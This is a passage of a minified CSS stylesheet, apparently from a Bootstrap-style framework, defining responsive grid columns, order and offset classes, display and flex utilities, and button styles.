100%;max-width:100%}.order-sm-first{-webkit-box-ordinal-group:0;-ms-flex-order:-1;order:-1}.order-sm-last{-webkit-box-ordinal-group:14;-ms-flex-order:13;order:13}.order-sm-0{-webkit-box-ordinal-group:1;-ms-flex-order:0;order:0}.order-sm-1{-webkit-box-ordinal-group:2;-ms-flex-order:1;order:1}.order-sm-2{-webkit-box-ordinal-group:3;-ms-flex-order:2;order:2}.order-sm-3{-webkit-box-ordinal-group:4;-ms-flex-order:3;order:3}.order-sm-4{-webkit-box-ordinal-group:5;-ms-flex-order:4;order:4}.order-sm-5{-webkit-box-ordinal-group:6;-ms-flex-order:5;order:5}.order-sm-6{-webkit-box-ordinal-group:7;-ms-flex-order:6;order:6}.order-sm-7{-webkit-box-ordinal-group:8;-ms-flex-order:7;order:7}.order-sm-8{-webkit-box-ordinal-group:9;-ms-flex-order:8;order:8}.order-sm-9{-webkit-box-ordinal-group:10;-ms-flex-order:9;order:9}.order-sm-10{-webkit-box-ordinal-group:11;-ms-flex-order:10;order:10}.order-sm-11{-webkit-box-ordinal-group:12;-ms-flex-order:11;order:11}.order-sm-12{-webkit-box-ordinal-group:13;-ms-flex-order:12;order:12}.offset-sm-0{margin-left:0}.offset-sm-1{margin-left:8.333333%}.offset-sm-2{margin-left:16.666667%}.offset-sm-3{margin-left:25%}.offset-sm-4{margin-left:33.333333%}.offset-sm-5{margin-left:41.666667%}.offset-sm-6{margin-left:50%}.offset-sm-7{margin-left:58.333333%}.offset-sm-8{margin-left:66.666667%}.offset-sm-9{margin-left:75%}.offset-sm-10{margin-left:83.333333%}.offset-sm-11{margin-left:91.666667%}}@media (min-width:40rem){.col-md{-ms-flex-preferred-size:0;flex-basis:0;-webkit-box-flex:1;-ms-flex-positive:1;flex-grow:1;max-width:100%}.col-md-auto{-webkit-box-flex:0;-ms-flex:0 0 auto;flex:0 0 auto;width:auto;max-width:none}.col-md-1{-webkit-box-flex:0;-ms-flex:0 0 8.333333%;flex:0 0 8.333333%;max-width:8.333333%}.col-md-2{-webkit-box-flex:0;-ms-flex:0 0 16.666667%;flex:0 0 16.666667%;max-width:16.666667%}.col-md-3{-webkit-box-flex:0;-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.col-md-4{-webkit-box-flex:0;-ms-flex:0 0 33.333333%;flex:0 0 33.333333%;max-width:33.333333%}.col-md-5{-webkit-box-flex:0;-ms-flex:0 0 41.666667%;flex:0 0 41.666667%;max-width:41.666667%}.col-md-6{-webkit-box-flex:0;-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.col-md-7{-webkit-box-flex:0;-ms-flex:0 0 58.333333%;flex:0 0 58.333333%;max-width:58.333333%}.col-md-8{-webkit-box-flex:0;-ms-flex:0 0 66.666667%;flex:0 0 66.666667%;max-width:66.666667%}.col-md-9{-webkit-box-flex:0;-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-md-10{-webkit-box-flex:0;-ms-flex:0 0 83.333333%;flex:0 0 83.333333%;max-width:83.333333%}.col-md-11{-webkit-box-flex:0;-ms-flex:0 0 91.666667%;flex:0 0 91.666667%;max-width:91.666667%}.col-md-12{-webkit-box-flex:0;-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.order-md-first{-webkit-box-ordinal-group:0;-ms-flex-order:-1;order:-1}.order-md-last{-webkit-box-ordinal-group:14;-ms-flex-order:13;order:13}.order-md-0{-webkit-box-ordinal-group:1;-ms-flex-order:0;order:0}.order-md-1{-webkit-box-ordinal-group:2;-ms-flex-order:1;order:1}.order-md-2{-webkit-box-ordinal-group:3;-ms-flex-order:2;order:2}.order-md-3{-webkit-box-ordinal-group:4;-ms-flex-order:3;order:3}.order-md-4{-webkit-box-ordinal-group:5;-ms-flex-order:4;order:4}.order-md-5{-webkit-box-ordinal-group:6;-ms-flex-order:5;order:5}.order-md-6{-webkit-box-ordinal-group:7;-ms-flex-order:6;order:6}.order-md-7{-webkit-box-ordinal-group:8;-ms-flex-order:7;order:7}.order-md-8{-webkit-box-ordinal-group:9;-ms-flex-order:8;order:8}.order-md-9{-webkit-box-ordinal-group:10;-ms-flex-order:9;order:9}.order-md-10{-webkit-box-ordinal-group:11;-ms-flex-order:10;order:10}.order-md-11{-webkit-box-ordinal-group:12;-ms-flex-order:11;order:11}.order-md-12{-webkit-box-ordinal-group:13;-ms-flex-order:12;order:12}.offset-md-0{margin-left:0}.offset-md-1{margin-left:8.333333%}.offset-md-2{margin-left:16.666667%}.offset-md-3{margin-left:25%}.offset-md-4{margin-left:33.333333%}.offset-md-5{margin-left:41.666667%}.offset-md-6{margin-left:50%}.offset-md-7{margin-left:58.333333%}.offset-md-8{margin-left:66.666667%}.offset-md-9{margin-left:75%}.offset-md-10{margin-left:83.333333%}.offset-md-11{margin-left:91.666667%}}@media (min-width:60rem){.col-lg{-ms-flex-preferred-size:0;flex-basis:0;-webkit-box-flex:1;-ms-flex-positive:1;flex-grow:1;max-width:100%}.col-lg-auto{-webkit-box-flex:0;-ms-flex:0 0 auto;flex:0 0 auto;width:auto;max-width:none}.col-lg-1{-webkit-box-flex:0;-ms-flex:0 0 8.333333%;flex:0 0 8.333333%;max-width:8.333333%}.col-lg-2{-webkit-box-flex:0;-ms-flex:0 0 16.666667%;flex:0 0 16.666667%;max-width:16.666667%}.col-lg-3{-webkit-box-flex:0;-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.col-lg-4{-webkit-box-flex:0;-ms-flex:0 0 33.333333%;flex:0 0 33.333333%;max-width:33.333333%}.col-lg-5{-webkit-box-flex:0;-ms-flex:0 0 41.666667%;flex:0 0 41.666667%;max-width:41.666667%}.col-lg-6{-webkit-box-flex:0;-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.col-lg-7{-webkit-box-flex:0;-ms-flex:0 0 58.333333%;flex:0 0 58.333333%;max-width:58.333333%}.col-lg-8{-webkit-box-flex:0;-ms-flex:0 0 66.666667%;flex:0 0 66.666667%;max-width:66.666667%}.col-lg-9{-webkit-box-flex:0;-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-lg-10{-webkit-box-flex:0;-ms-flex:0 0 83.333333%;flex:0 0 83.333333%;max-width:83.333333%}.col-lg-11{-webkit-box-flex:0;-ms-flex:0 0 91.666667%;flex:0 0 91.666667%;max-width:91.666667%}.col-lg-12{-webkit-box-flex:0;-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.order-lg-first{-webkit-box-ordinal-group:0;-ms-flex-order:-1;order:-1}.order-lg-last{-webkit-box-ordinal-group:14;-ms-flex-order:13;order:13}.order-lg-0{-webkit-box-ordinal-group:1;-ms-flex-order:0;order:0}.order-lg-1{-webkit-box-ordinal-group:2;-ms-flex-order:1;order:1}.order-lg-2{-webkit-box-ordinal-group:3;-ms-flex-order:2;order:2}.order-lg-3{-webkit-box-ordinal-group:4;-ms-flex-order:3;order:3}.order-lg-4{-webkit-box-ordinal-group:5;-ms-flex-order:4;order:4}.order-lg-5{-webkit-box-ordinal-group:6;-ms-flex-order:5;order:5}.order-lg-6{-webkit-box-ordinal-group:7;-ms-flex-order:6;order:6}.order-lg-7{-webkit-box-ordinal-group:8;-ms-flex-order:7;order:7}.order-lg-8{-webkit-box-ordinal-group:9;-ms-flex-order:8;order:8}.order-lg-9{-webkit-box-ordinal-group:10;-ms-flex-order:9;order:9}.order-lg-10{-webkit-box-ordinal-group:11;-ms-flex-order:10;order:10}.order-lg-11{-webkit-box-ordinal-group:12;-ms-flex-order:11;order:11}.order-lg-12{-webkit-box-ordinal-group:13;-ms-flex-order:12;order:12}.offset-lg-0{margin-left:0}.offset-lg-1{margin-left:8.333333%}.offset-lg-2{margin-left:16.666667%}.offset-lg-3{margin-left:25%}.offset-lg-4{margin-left:33.333333%}.offset-lg-5{margin-left:41.666667%}.offset-lg-6{margin-left:50%}.offset-lg-7{margin-left:58.333333%}.offset-lg-8{margin-left:66.666667%}.offset-lg-9{margin-left:75%}.offset-lg-10{margin-left:83.333333%}.offset-lg-11{margin-left:91.666667%}}@media (min-width:90rem){.col-xl{-ms-flex-preferred-size:0;flex-basis:0;-webkit-box-flex:1;-ms-flex-positive:1;flex-grow:1;max-width:100%}.col-xl-auto{-webkit-box-flex:0;-ms-flex:0 0 auto;flex:0 0 auto;width:auto;max-width:none}.col-xl-1{-webkit-box-flex:0;-ms-flex:0 0 8.333333%;flex:0 0 8.333333%;max-width:8.333333%}.col-xl-2{-webkit-box-flex:0;-ms-flex:0 0 16.666667%;flex:0 0 16.666667%;max-width:16.666667%}.col-xl-3{-webkit-box-flex:0;-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.col-xl-4{-webkit-box-flex:0;-ms-flex:0 0 33.333333%;flex:0 0 33.333333%;max-width:33.333333%}.col-xl-5{-webkit-box-flex:0;-ms-flex:0 0 41.666667%;flex:0 0 41.666667%;max-width:41.666667%}.col-xl-6{-webkit-box-flex:0;-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.col-xl-7{-webkit-box-flex:0;-ms-flex:0 0 58.333333%;flex:0 0 58.333333%;max-width:58.333333%}.col-xl-8{-webkit-box-flex:0;-ms-flex:0 0 66.666667%;flex:0 0 66.666667%;max-width:66.666667%}.col-xl-9{-webkit-box-flex:0;-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-xl-10{-webkit-box-flex:0;-ms-flex:0 0 83.333333%;flex:0 0 83.333333%;max-width:83.333333%}.col-xl-11{-webkit-box-flex:0;-ms-flex:0 0 91.666667%;flex:0 0 91.666667%;max-width:91.666667%}.col-xl-12{-webkit-box-flex:0;-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.order-xl-first{-webkit-box-ordinal-group:0;-ms-flex-order:-1;order:-1}.order-xl-last{-webkit-box-ordinal-group:14;-ms-flex-order:13;order:13}.order-xl-0{-webkit-box-ordinal-group:1;-ms-flex-order:0;order:0}.order-xl-1{-webkit-box-ordinal-group:2;-ms-flex-order:1;order:1}.order-xl-2{-webkit-box-ordinal-group:3;-ms-flex-order:2;order:2}.order-xl-3{-webkit-box-ordinal-group:4;-ms-flex-order:3;order:3}.order-xl-4{-webkit-box-ordinal-group:5;-ms-flex-order:4;order:4}.order-xl-5{-webkit-box-ordinal-group:6;-ms-flex-order:5;order:5}.order-xl-6{-webkit-box-ordinal-group:7;-ms-flex-order:6;order:6}.order-xl-7{-webkit-box-ordinal-group:8;-ms-flex-order:7;order:7}.order-xl-8{-webkit-box-ordinal-group:9;-ms-flex-order:8;order:8}.order-xl-9{-webkit-box-ordinal-group:10;-ms-flex-order:9;order:9}.order-xl-10{-webkit-box-ordinal-group:11;-ms-flex-order:10;order:10}.order-xl-11{-webkit-box-ordinal-group:12;-ms-flex-order:11;order:11}.order-xl-12{-webkit-box-ordinal-group:13;-ms-flex-order:12;order:12}.offset-xl-0{margin-left:0}.offset-xl-1{margin-left:8.333333%}.offset-xl-2{margin-left:16.666667%}.offset-xl-3{margin-left:25%}.offset-xl-4{margin-left:33.333333%}.offset-xl-5{margin-left:41.666667%}.offset-xl-6{margin-left:50%}.offset-xl-7{margin-left:58.333333%}.offset-xl-8{margin-left:66.666667%}.offset-xl-9{margin-left:75%}.offset-xl-10{margin-left:83.333333%}.offset-xl-11{margin-left:91.666667%}}.d-none{display:none!important}.d-inline{display:inline!important}.d-inline-block{display:inline-block!important}.d-block{display:block!important}.d-table{display:table!important}.d-table-row{display:table-row!important}.d-table-cell{display:table-cell!important}.d-flex{display:-webkit-box!important;display:-ms-flexbox!important;display:flex!important}.d-inline-flex{display:-webkit-inline-box!important;display:-ms-inline-flexbox!important;display:inline-flex!important}@media (min-width:0px){.d-sm-none{display:none!important}.d-sm-inline{display:inline!important}.d-sm-inline-block{display:inline-block!important}.d-sm-block{display:block!important}.d-sm-table{display:table!important}.d-sm-table-row{display:table-row!important}.d-sm-table-cell{display:table-cell!important}.d-sm-flex{display:-webkit-box!important;display:-ms-flexbox!important;display:flex!important}.d-sm-inline-flex{display:-webkit-inline-box!important;display:-ms-inline-flexbox!important;display:inline-flex!important}}@media (min-width:0px){.d-md-none{display:none!important}.d-md-inline{display:inline!important}.d-md-inline-block{display:inline-block!important}.d-md-block{display:block!important}.d-md-table{display:table!important}.d-md-table-row{display:table-row!important}.d-md-table-cell{display:table-cell!important}.d-md-flex{display:-webkit-box!important;display:-ms-flexbox!important;display:flex!important}.d-md-inline-flex{display:-webkit-inline-box!important;display:-ms-inline-flexbox!important;display:inline-flex!important}}@media (min-width:60rem){.d-lg-none{display:none!important}.d-lg-inline{display:inline!important}.d-lg-inline-block{display:inline-block!important}.d-lg-block{display:block!important}.d-lg-table{display:table!important}.d-lg-table-row{display:table-row!important}.d-lg-table-cell{display:table-cell!important}.d-lg-flex{display:-webkit-box!important;display:-ms-flexbox!important;display:flex!important}.d-lg-inline-flex{display:-webkit-inline-box!important;display:-ms-inline-flexbox!important;display:inline-flex!important}}@media (min-width:90rem){.d-xl-none{display:none!important}.d-xl-inline{display:inline!important}.d-xl-inline-block{display:inline-block!important}.d-xl-block{display:block!important}.d-xl-table{display:table!important}.d-xl-table-row{display:table-row!important}.d-xl-table-cell{display:table-cell!important}.d-xl-flex{display:-webkit-box!important;display:-ms-flexbox!important;display:flex!important}.d-xl-inline-flex{display:-webkit-inline-box!important;display:-ms-inline-flexbox!important;display:inline-flex!important}}@media print{.d-print-none{display:none!important}.d-print-inline{display:inline!important}.d-print-inline-block{display:inline-block!important}.d-print-block{display:block!important}.d-print-table{display:table!important}.d-print-table-row{display:table-row!important}.d-print-table-cell{display:table-cell!important}.d-print-flex{display:-webkit-box!important;display:-ms-flexbox!important;display:flex!important}.d-print-inline-flex{display:-webkit-inline-box!important;display:-ms-inline-flexbox!important;display:inline-flex!important}}.flex-row{-webkit-box-orient:horizontal!important;-webkit-box-direction:normal!important;-ms-flex-direction:row!important;flex-direction:row!important}.flex-column{-webkit-box-orient:vertical!important;-webkit-box-direction:normal!important;-ms-flex-direction:column!important;flex-direction:column!important}.flex-row-reverse{-webkit-box-orient:horizontal!important;-webkit-box-direction:reverse!important;-ms-flex-direction:row-reverse!important;flex-direction:row-reverse!important}.flex-column-reverse{-webkit-box-orient:vertical!important;-webkit-box-direction:reverse!important;-ms-flex-direction:column-reverse!important;flex-direction:column-reverse!important}.flex-wrap{-ms-flex-wrap:wrap!important;flex-wrap:wrap!important}.flex-nowrap{-ms-flex-wrap:nowrap!important;flex-wrap:nowrap!important}.flex-wrap-reverse{-ms-flex-wrap:wrap-reverse!important;flex-wrap:wrap-reverse!important}.justify-content-start{-webkit-box-pack:start!important;-ms-flex-pack:start!important;justify-content:flex-start!important}.justify-content-end{-webkit-box-pack:end!important;-ms-flex-pack:end!important;justify-content:flex-end!important}.justify-content-center{-webkit-box-pack:center!important;-ms-flex-pack:center!important;justify-content:center!important}.justify-content-between{-webkit-box-pack:justify!important;-ms-flex-pack:justify!important;justify-content:space-between!important}.justify-content-around{-ms-flex-pack:distribute!important;justify-content:space-around!important}.align-items-start{-webkit-box-align:start!important;-ms-flex-align:start!important;align-items:flex-start!important}.align-items-end{-webkit-box-align:end!important;-ms-flex-align:end!important;align-items:flex-end!important}.align-items-center{-webkit-box-align:center!important;-ms-flex-align:center!important;align-items:center!important}.align-items-baseline{-webkit-box-align:baseline!important;-ms-flex-align:baseline!important;align-items:baseline!important}.align-items-stretch{-webkit-box-align:stretch!important;-ms-flex-align:stretch!important;align-items:stretch!important}.align-content-start{-ms-flex-line-pack:start!important;align-content:flex-start!important}.align-content-end{-ms-flex-line-pack:end!important;align-content:flex-end!important}.align-content-center{-ms-flex-line-pack:center!important;align-content:center!important}.align-content-between{-ms-flex-line-pack:justify!important;align-content:space-between!important}.align-content-around{-ms-flex-line-pack:distribute!important;align-content:space-around!important}.align-content-stretch{-ms-flex-line-pack:stretch!important;align-content:stretch!important}.align-self-auto{-ms-flex-item-align:auto!important;align-self:auto!important}.align-self-start{-ms-flex-item-align:start!important;align-self:flex-start!important}.align-self-end{-ms-flex-item-align:end!important;align-self:flex-end!important}.align-self-center{-ms-flex-item-align:center!important;align-self:center!important}.align-self-baseline{-ms-flex-item-align:baseline!important;align-self:baseline!important}.align-self-stretch{-ms-flex-item-align:stretch!important;align-self:stretch!important}@media (min-width:0px){.flex-sm-row{-webkit-box-orient:horizontal!important;-webkit-box-direction:normal!important;-ms-flex-direction:row!important;flex-direction:row!important}.flex-sm-column{-webkit-box-orient:vertical!important;-webkit-box-direction:normal!important;-ms-flex-direction:column!important;flex-direction:column!important}.flex-sm-row-reverse{-webkit-box-orient:horizontal!important;-webkit-box-direction:reverse!important;-ms-flex-direction:row-reverse!important;flex-direction:row-reverse!important}.flex-sm-column-reverse{-webkit-box-orient:vertical!important;-webkit-box-direction:reverse!important;-ms-flex-direction:column-reverse!important;flex-direction:column-reverse!important}.flex-sm-wrap{-ms-flex-wrap:wrap!important;flex-wrap:wrap!important}.flex-sm-nowrap{-ms-flex-wrap:nowrap!important;flex-wrap:nowrap!important}.flex-sm-wrap-reverse{-ms-flex-wrap:wrap-reverse!important;flex-wrap:wrap-reverse!important}.justify-content-sm-start{-webkit-box-pack:start!important;-ms-flex-pack:start!important;justify-content:flex-start!important}.justify-content-sm-end{-webkit-box-pack:end!important;-ms-flex-pack:end!important;justify-content:flex-end!important}.justify-content-sm-center{-webkit-box-pack:center!important;-ms-flex-pack:center!important;justify-content:center!important}.justify-content-sm-between{-webkit-box-pack:justify!important;-ms-flex-pack:justify!important;justify-content:space-between!important}.justify-content-sm-around{-ms-flex-pack:distribute!important;justify-content:space-around!important}.align-items-sm-start{-webkit-box-align:start!important;-ms-flex-align:start!important;align-items:flex-start!important}.align-items-sm-end{-webkit-box-align:end!important;-ms-flex-align:end!important;align-items:flex-end!important}.align-items-sm-center{-webkit-box-align:center!important;-ms-flex-align:center!important;align-items:center!important}.align-items-sm-baseline{-webkit-box-align:baseline!important;-ms-flex-align:baseline!important;align-items:baseline!important}.align-items-sm-stretch{-webkit-box-align:stretch!important;-ms-flex-align:stretch!important;align-items:stretch!important}.align-content-sm-start{-ms-flex-line-pack:start!important;align-content:flex-start!important}.align-content-sm-end{-ms-flex-line-pack:end!important;align-content:flex-end!important}.align-content-sm-center{-ms-flex-line-pack:center!important;align-content:center!important}.align-content-sm-between{-ms-flex-line-pack:justify!important;align-content:space-between!important}.align-content-sm-around{-ms-flex-line-pack:distribute!important;align-content:space-around!important}.align-content-sm-stretch{-ms-flex-line-pack:stretch!important;align-content:stretch!important}.align-self-sm-auto{-ms-flex-item-align:auto!important;align-self:auto!important}.align-self-sm-start{-ms-flex-item-align:start!important;align-self:flex-start!important}.align-self-sm-end{-ms-flex-item-align:end!important;align-self:flex-end!important}.align-self-sm-center{-ms-flex-item-align:center!important;align-self:center!important}.align-self-sm-baseline{-ms-flex-item-align:baseline!important;align-self:baseline!important}.align-self-sm-stretch{-ms-flex-item-align:stretch!important;align-self:stretch!important}}@media (min-width:40rem){.flex-md-row{-webkit-box-orient:horizontal!important;-webkit-box-direction:normal!important;-ms-flex-direction:row!important;flex-direction:row!important}.flex-md-column{-webkit-box-orient:vertical!important;-webkit-box-direction:normal!important;-ms-flex-direction:column!important;flex-direction:column!important}.flex-md-row-reverse{-webkit-box-orient:horizontal!important;-webkit-box-direction:reverse!important;-ms-flex-direction:row-reverse!important;flex-direction:row-reverse!important}.flex-md-column-reverse{-webkit-box-orient:vertical!important;-webkit-box-direction:reverse!important;-ms-flex-direction:column-reverse!important;flex-direction:column-reverse!important}.flex-md-wrap{-ms-flex-wrap:wrap!important;flex-wrap:wrap!important}.flex-md-nowrap{-ms-flex-wrap:nowrap!important;flex-wrap:nowrap!important}.flex-md-wrap-reverse{-ms-flex-wrap:wrap-reverse!important;flex-wrap:wrap-reverse!important}.justify-content-md-start{-webkit-box-pack:start!important;-ms-flex-pack:start!important;justify-content:flex-start!important}.justify-content-md-end{-webkit-box-pack:end!important;-ms-flex-pack:end!important;justify-content:flex-end!important}.justify-content-md-center{-webkit-box-pack:center!important;-ms-flex-pack:center!important;justify-content:center!important}.justify-content-md-between{-webkit-box-pack:justify!important;-ms-flex-pack:justify!important;justify-content:space-between!important}.justify-content-md-around{-ms-flex-pack:distribute!important;justify-content:space-around!important}.align-items-md-start{-webkit-box-align:start!important;-ms-flex-align:start!important;align-items:flex-start!important}.align-items-md-end{-webkit-box-align:end!important;-ms-flex-align:end!important;align-items:flex-end!important}.align-items-md-center{-webkit-box-align:center!important;-ms-flex-align:center!important;align-items:center!important}.align-items-md-baseline{-webkit-box-align:baseline!important;-ms-flex-align:baseline!important;align-items:baseline!important}.align-items-md-stretch{-webkit-box-align:stretch!important;-ms-flex-align:stretch!important;align-items:stretch!important}.align-content-md-start{-ms-flex-line-pack:start!important;align-content:flex-start!important}.align-content-md-end{-ms-flex-line-pack:end!important;align-content:flex-end!important}.align-content-md-center{-ms-flex-line-pack:center!important;align-content:center!important}.align-content-md-between{-ms-flex-line-pack:justify!important;align-content:space-between!important}.align-content-md-around{-ms-flex-line-pack:distribute!important;align-content:space-around!important}.align-content-md-stretch{-ms-flex-line-pack:stretch!important;align-content:stretch!important}.align-self-md-auto{-ms-flex-item-align:auto!important;align-self:auto!important}.align-self-md-start{-ms-flex-item-align:start!important;align-self:flex-start!important}.align-self-md-end{-ms-flex-item-align:end!important;align-self:flex-end!important}.align-self-md-center{-ms-flex-item-align:center!important;align-self:center!important}.align-self-md-baseline{-ms-flex-item-align:baseline!important;align-self:baseline!important}.align-self-md-stretch{-ms-flex-item-align:stretch!important;align-self:stretch!important}}@media (min-width:60rem){.flex-lg-row{-webkit-box-orient:horizontal!important;-webkit-box-direction:normal!important;-ms-flex-direction:row!important;flex-direction:row!important}.flex-lg-column{-webkit-box-orient:vertical!important;-webkit-box-direction:normal!important;-ms-flex-direction:column!important;flex-direction:column!important}.flex-lg-row-reverse{-webkit-box-orient:horizontal!important;-webkit-box-direction:reverse!important;-ms-flex-direction:row-reverse!important;flex-direction:row-reverse!important}.flex-lg-column-reverse{-webkit-box-orient:vertical!important;-webkit-box-direction:reverse!important;-ms-flex-direction:column-reverse!important;flex-direction:column-reverse!important}.flex-lg-wrap{-ms-flex-wrap:wrap!important;flex-wrap:wrap!important}.flex-lg-nowrap{-ms-flex-wrap:nowrap!important;flex-wrap:nowrap!important}.flex-lg-wrap-reverse{-ms-flex-wrap:wrap-reverse!important;flex-wrap:wrap-reverse!important}.justify-content-lg-start{-webkit-box-pack:start!important;-ms-flex-pack:start!important;justify-content:flex-start!important}.justify-content-lg-end{-webkit-box-pack:end!important;-ms-flex-pack:end!important;justify-content:flex-end!important}.justify-content-lg-center{-webkit-box-pack:center!important;-ms-flex-pack:center!important;justify-content:center!important}.justify-content-lg-between{-webkit-box-pack:justify!important;-ms-flex-pack:justify!important;justify-content:space-between!important}.justify-content-lg-around{-ms-flex-pack:distribute!important;justify-content:space-around!important}.align-items-lg-start{-webkit-box-align:start!important;-ms-flex-align:start!important;align-items:flex-start!important}.align-items-lg-end{-webkit-box-align:end!important;-ms-flex-align:end!important;align-items:flex-end!important}.align-items-lg-center{-webkit-box-align:center!important;-ms-flex-align:center!important;align-items:center!important}.align-items-lg-baseline{-webkit-box-align:baseline!important;-ms-flex-align:baseline!important;align-items:baseline!important}.align-items-lg-stretch{-webkit-box-align:stretch!important;-ms-flex-align:stretch!important;align-items:stretch!important}.align-content-lg-start{-ms-flex-line-pack:start!important;align-content:flex-start!important}.align-content-lg-end{-ms-flex-line-pack:end!important;align-content:flex-end!important}.align-content-lg-center{-ms-flex-line-pack:center!important;align-content:center!important}.align-content-lg-between{-ms-flex-line-pack:justify!important;align-content:space-between!important}.align-content-lg-around{-ms-flex-line-pack:distribute!important;align-content:space-around!important}.align-content-lg-stretch{-ms-flex-line-pack:stretch!important;align-content:stretch!important}.align-self-lg-auto{-ms-flex-item-align:auto!important;align-self:auto!important}.align-self-lg-start{-ms-flex-item-align:start!important;align-self:flex-start!important}.align-self-lg-end{-ms-flex-item-align:end!important;align-self:flex-end!important}.align-self-lg-center{-ms-flex-item-align:center!important;align-self:center!important}.align-self-lg-baseline{-ms-flex-item-align:baseline!important;align-self:baseline!important}.align-self-lg-stretch{-ms-flex-item-align:stretch!important;align-self:stretch!important}}@media (min-width:90rem){.flex-xl-row{-webkit-box-orient:horizontal!important;-webkit-box-direction:normal!important;-ms-flex-direction:row!important;flex-direction:row!important}.flex-xl-column{-webkit-box-orient:vertical!important;-webkit-box-direction:normal!important;-ms-flex-direction:column!important;flex-direction:column!important}.flex-xl-row-reverse{-webkit-box-orient:horizontal!important;-webkit-box-direction:reverse!important;-ms-flex-direction:row-reverse!important;flex-direction:row-reverse!important}.flex-xl-column-reverse{-webkit-box-orient:vertical!important;-webkit-box-direction:reverse!important;-ms-flex-direction:column-reverse!important;flex-direction:column-reverse!important}.flex-xl-wrap{-ms-flex-wrap:wrap!important;flex-wrap:wrap!important}.flex-xl-nowrap{-ms-flex-wrap:nowrap!important;flex-wrap:nowrap!important}.flex-xl-wrap-reverse{-ms-flex-wrap:wrap-reverse!important;flex-wrap:wrap-reverse!important}.justify-content-xl-start{-webkit-box-pack:start!important;-ms-flex-pack:start!important;justify-content:flex-start!important}.justify-content-xl-end{-webkit-box-pack:end!important;-ms-flex-pack:end!important;justify-content:flex-end!important}.justify-content-xl-center{-webkit-box-pack:center!important;-ms-flex-pack:center!important;justify-content:center!important}.justify-content-xl-between{-webkit-box-pack:justify!important;-ms-flex-pack:justify!important;justify-content:space-between!important}.justify-content-xl-around{-ms-flex-pack:distribute!important;justify-content:space-around!important}.align-items-xl-start{-webkit-box-align:start!important;-ms-flex-align:start!important;align-items:flex-start!important}.align-items-xl-end{-webkit-box-align:end!important;-ms-flex-align:end!important;align-items:flex-end!important}.align-items-xl-center{-webkit-box-align:center!important;-ms-flex-align:center!important;align-items:center!important}.align-items-xl-baseline{-webkit-box-align:baseline!important;-ms-flex-align:baseline!important;align-items:baseline!important}.align-items-xl-stretch{-webkit-box-align:stretch!important;-ms-flex-align:stretch!important;align-items:stretch!important}.align-content-xl-start{-ms-flex-line-pack:start!important;align-content:flex-start!important}.align-content-xl-end{-ms-flex-line-pack:end!important;align-content:flex-end!important}.align-content-xl-center{-ms-flex-line-pack:center!important;align-content:center!important}.align-content-xl-between{-ms-flex-line-pack:justify!important;align-content:space-between!important}.align-content-xl-around{-ms-flex-line-pack:distribute!important;align-content:space-around!important}.align-content-xl-stretch{-ms-flex-line-pack:stretch!important;align-content:stretch!important}.align-self-xl-auto{-ms-flex-item-align:auto!important;align-self:auto!important}.align-self-xl-start{-ms-flex-item-align:start!important;align-self:flex-start!important}.align-self-xl-end{-ms-flex-item-align:end!important;align-self:flex-end!important}.align-self-xl-center{-ms-flex-item-align:center!important;align-self:center!important}.align-self-xl-baseline{-ms-flex-item-align:baseline!important;align-self:baseline!important}.align-self-xl-stretch{-ms-flex-item-align:stretch!important;align-self:stretch!important}}.btn{display:inline-block;font-weight:400;text-align:center;white-space:nowrap;vertical-align:middle;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;border:none;padding:.25rem .65rem;height:1.6rem;line-height:1rem;font-size:.65rem;border-radius:.2rem;transition:color .3s ease-in-out,background-color .3s ease-in-out,border-color .3s ease-in-out;-webkit-appearance:none;box-sizing:border-box}.btn-group{display:inline-flex}.btn-group>.btn{border-radius:0;margin:0}.btn-group>.btn:first-child{border-top-left-radius:.2rem;border-bottom-left-radius:.2rem}.btn-group>.btn:last-child{border-top-right-radius:.2rem;border-bottom-right-radius:.2rem}.btn-lg{padding:.5rem .85rem;font-size:.8rem;line-height:1rem;border-radius:.24rem;height:2rem}.btn-sm{padding:.15rem .35rem;font-size:.5rem;height:1.4rem;border-radius:.16rem;line-height:1rem}.btn:focus,.btn:hover{text-decoration:none}.btn.btn-border-none,.btn[class*=ub-bg-]{border:none}.btn.btn-border-none:hover,.btn.btn-border-none:hover:not(.disabled),.btn[class*=ub-bg-]:hover,.btn[class*=ub-bg-]:hover:not(.disabled){border:none}.btn.disabled,.btn:disabled{opacity:.65;cursor:not-allowed}.btn:not(:disabled):not(.disabled){cursor:pointer}.btn:not(:disabled):not(.disabled).active,.btn:not(:disabled):not(.disabled):active{background-image:none}a.btn.disabled,fieldset:disabled a.btn{pointer-events:none}.btn{color:var(--color-body-block);background-color:var(--color-content-bg);border:.05rem solid var(--color-body-line)}.btn:hover:not(.disabled){color:var(--color-primary);border:.05rem solid var(--color-primary)}.btn-round{border-radius:.8rem}.btn-lg.btn-round{border-radius:1.2rem}.btn-sm.btn-round{border-radius:.7rem}.btn-primary{color:#fff;background-color:var(--color-primary);border-color:var(--color-primary)}.btn-primary:hover:not(.disabled){color:#fff;background-color:var(--color-primary-dark);border-color:var(--color-primary-dark)}.btn-primary.disabled,.btn-primary:disabled{color:#fff;background-color:var(--color-primary)}.btn-primary:not(:disabled):not(.disabled).active,.btn-primary:not(:disabled):not(.disabled):active{color:#fff;background-color:var(--color-primary-dark)}.btn-primary.gradient{background-image:linear-gradient(45deg,var(--color-primary-dark),var(--color-primary-light))}.btn-primary-line{color:var(--color-primary);border:.05rem solid var(--color-primary);background:0 